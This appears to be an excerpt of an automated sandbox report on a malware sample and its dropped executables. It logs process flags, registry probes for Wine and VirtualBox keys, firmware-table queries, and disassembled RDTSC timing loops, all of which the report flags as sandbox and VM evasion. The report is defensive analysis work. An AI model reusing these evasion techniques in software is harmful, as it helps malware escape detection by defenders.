Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4310 second address: CD3BE3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8854FD885Ch 0x00000008 jg 00007F8854FD8856h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 jg 00007F8854FD8857h 0x00000019 push dword ptr [ebp+122D0D25h] 0x0000001f pushad 0x00000020 mov si, ax 0x00000023 popad 0x00000024 call dword ptr [ebp+122D1C98h] 0x0000002a pushad 0x0000002b clc 0x0000002c xor eax, eax 0x0000002e cld 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 mov dword ptr [ebp+122D1D62h], edi 0x00000039 mov dword ptr [ebp+122D2DD9h], eax 0x0000003f add dword ptr [ebp+122D1D62h], ebx 0x00000045 mov esi, 0000003Ch 0x0000004a cmc 0x0000004b add esi, dword ptr [esp+24h] 0x0000004f pushad 0x00000050 add dword ptr [ebp+122D1D62h], esi 0x00000056 mov dword ptr [ebp+122D1D62h], ecx 0x0000005c popad 0x0000005d lodsw 0x0000005f mov dword ptr [ebp+122D1D62h], ecx 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 cmc 0x0000006a mov ebx, dword ptr [esp+24h] 0x0000006e pushad 0x0000006f mov edi, dword ptr [ebp+122D2C21h] 0x00000075 movsx ecx, ax 0x00000078 popad 0x00000079 jmp 00007F8854FD8864h 0x0000007e push eax 0x0000007f pushad 0x00000080 push eax 0x00000081 push edx 0x00000082 pushad 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52929 second address: E52934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8854FAEB86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52934 second address: E5294A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD8860h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5294A second address: E5294E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5294E second address: E52961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8854FD8856h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4185F second address: E41871 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F8854FAEB86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41871 second address: E41875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41875 second address: E41882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41882 second address: E41894 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F8854FD885Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51A0D second address: E51A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51A28 second address: E51A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8854FD8856h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jnc 00007F8854FD8856h 0x00000014 jmp 00007F8854FD8867h 0x00000019 ja 00007F8854FD8856h 0x0000001f popad 0x00000020 jmp 00007F8854FD885Eh 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51A6C second address: E51A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51BB7 second address: E51BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51BBB second address: E51BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8854FAEB95h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51D6C second address: E51D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51D70 second address: E51D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51D76 second address: E51D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51D7C second address: E51D8F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8854FAEB8Eh 0x00000008 jl 00007F8854FAEB86h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51D8F second address: E51DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD8868h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f jg 00007F8854FD8867h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52119 second address: E52132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB95h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55DB5 second address: CD3BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 7B3031DFh 0x0000000d mov si, F0F2h 0x00000011 push dword ptr [ebp+122D0D25h] 0x00000017 mov dl, cl 0x00000019 call dword ptr [ebp+122D1C98h] 0x0000001f pushad 0x00000020 clc 0x00000021 xor eax, eax 0x00000023 cld 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 mov dword ptr [ebp+122D1D62h], edi 0x0000002e mov dword ptr [ebp+122D2DD9h], eax 0x00000034 add dword ptr [ebp+122D1D62h], ebx 0x0000003a mov esi, 0000003Ch 0x0000003f cmc 0x00000040 add esi, dword ptr [esp+24h] 0x00000044 pushad 0x00000045 add dword ptr [ebp+122D1D62h], esi 0x0000004b mov dword ptr [ebp+122D1D62h], ecx 0x00000051 popad 0x00000052 lodsw 0x00000054 mov dword ptr [ebp+122D1D62h], ecx 0x0000005a add eax, dword ptr [esp+24h] 0x0000005e cmc 0x0000005f mov ebx, dword ptr [esp+24h] 0x00000063 pushad 0x00000064 mov edi, dword ptr [ebp+122D2C21h] 0x0000006a movsx ecx, ax 0x0000006d popad 0x0000006e jmp 00007F8854FD8864h 0x00000073 push eax 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 popad 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55F36 second address: E55F53 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8854FAEB8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnl 00007F8854FAEB86h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55F53 second address: E55FA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, 703CE63Bh 0x0000000f push edx 0x00000010 and edx, dword ptr [ebp+122D5AC5h] 0x00000016 pop ecx 0x00000017 push 00000000h 0x00000019 mov ecx, dword ptr [ebp+122D2D85h] 0x0000001f call 00007F8854FD8859h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F8854FD8867h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55FA3 second address: E55FB5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F8854FAEB86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55FB5 second address: E55FE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F8854FD8869h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55FE2 second address: E56002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56002 second address: E5608D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F8854FD8856h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007F8854FD8865h 0x00000017 pop eax 0x00000018 add dx, 55CAh 0x0000001d sbb si, 0A74h 0x00000022 push 00000003h 0x00000024 jmp 00007F8854FD8867h 0x00000029 push 00000000h 0x0000002b push 00000003h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007F8854FD8858h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 mov esi, dword ptr [ebp+122D2BB9h] 0x0000004d add dword ptr [ebp+122D1E50h], edx 0x00000053 call 00007F8854FD8859h 0x00000058 jbe 00007F8854FD885Eh 0x0000005e push ecx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5608D second address: E560C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F8854FAEB93h 0x0000000d jmp 00007F8854FAEB97h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E560C3 second address: E560F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8854FD8856h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F8854FD8862h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8854FD8860h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E560F9 second address: E5611F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8854FAEB8Ah 0x00000008 jmp 00007F8854FAEB8Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5611F second address: E5612E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F8854FD8856h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5612E second address: E56185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b sub si, B6A8h 0x00000010 lea ebx, dword ptr [ebp+12455D1Dh] 0x00000016 clc 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 jmp 00007F8854FAEB90h 0x0000001e jmp 00007F8854FAEB8Fh 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push esi 0x00000029 pop esi 0x0000002a je 00007F8854FAEB86h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5620E second address: E56212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56212 second address: E5627C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edx 0x0000000e popad 0x0000000f add dword ptr [esp], 0BB5653Ah 0x00000016 mov ecx, dword ptr [ebp+122D2DADh] 0x0000001c push 00000003h 0x0000001e pushad 0x0000001f push eax 0x00000020 adc ebx, 30B293F4h 0x00000026 pop esi 0x00000027 mov ecx, dword ptr [ebp+122D2CDDh] 0x0000002d popad 0x0000002e push 00000000h 0x00000030 push 00000003h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F8854FAEB88h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c xor edi, 1C7FFE00h 0x00000052 mov di, 6C83h 0x00000056 push 8CBEFDB5h 0x0000005b push ecx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5627C second address: E562B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 add dword ptr [esp], 3341024Bh 0x0000000e mov edi, 51330CD5h 0x00000013 lea ebx, dword ptr [ebp+12455D28h] 0x00000019 mov edx, dword ptr [ebp+122D2D65h] 0x0000001f push eax 0x00000020 pushad 0x00000021 pushad 0x00000022 jmp 00007F8854FD8863h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C82F second address: E3C833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
